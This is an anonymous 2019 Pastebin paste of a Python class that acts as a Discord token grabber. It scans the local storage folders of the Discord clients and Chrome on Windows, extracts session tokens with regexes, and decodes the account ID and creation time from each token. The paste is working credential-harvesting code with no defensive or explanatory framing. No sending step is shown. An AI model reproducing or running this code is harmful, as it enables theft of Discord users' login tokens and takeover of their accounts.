Guest User

Untitled

a guest
Dec 5th, 2019
141
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import os, re, base64, datetime
  2.  
  3. class TokenReader:
  4. def __init__(self):
  5. self.local_appdata = os.getenv('LOCALAPPDATA')
  6. self.appdata = os.getenv('APPDATA')
  7.  
  8. def is_line_token(self, line):
  9. if any(match in line for match in [">oken", "token>", "[oken"]):
  10. return bool(re.search(r'"([A-Za-z0-9_\./\\-]*)"', line).group(1))
  11. return False
  12.  
  13. def get_discord_folders(self):
  14. dirs = {
  15. "temp":self.local_appdata + '\\temp\\',
  16. "token_dir":self.appdata + "\\Discord\\Local Storage\\leveldb\\",
  17. "ptb_token_dir":self.appdata + "\\discordptb\\Local Storage\\leveldb\\",
  18. "canary_token_dir":self.appdata + "\\discordcanary\\Local Storage\\leveldb\\",
  19. "chrome_dir":self.local_appdata + "\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\"
  20. }
  21.  
  22. # Check if paths exist and return
  23. return [dirs[key] for key in list(dirs.keys()) if os.path.isdir(dirs[key])]
  24.  
  25. def get_token(self):
  26. existing_folders = self.get_discord_folders()
  27.  
  28. token_lines = []
  29. for folder in existing_folders:
  30. for root, dirs, files in os.walk(folder):
  31. for file in files:
  32. try:
  33. f_read = open(folder +'/'+file, errors='ignore')
  34. f_lines = f_read.readlines()
  35. except:
  36. pass # Either access denied or bad format.
  37.  
  38. token_line = [line for line in f_lines if self.is_line_token(line)]
  39. if token_line:
  40. token = re.search(r'"([A-Za-z0-9_\./\\-]*)"', token_line[0]).group(1)
  41. if len(token) > 50 and len(token) < 60:
  42. token_lines.append(token)
  43.  
  44. return token_lines
  45.  
  46. def get_discord_id_from_token(self, token):
  47. return base64.b64decode(token.split(".")[0]).decode()
  48.  
  49. def get_timestamp_from_token(self, token):
  50. try:
  51. dt = datetime.datetime.utcfromtimestamp(int.from_bytes(base64.b64decode(token.split(".")[1] + "=="), "big")).strftime('%Y-%m-%d %H:%M:%S')
  52. return dt
  53. except:
  54. return None
RAW Paste Data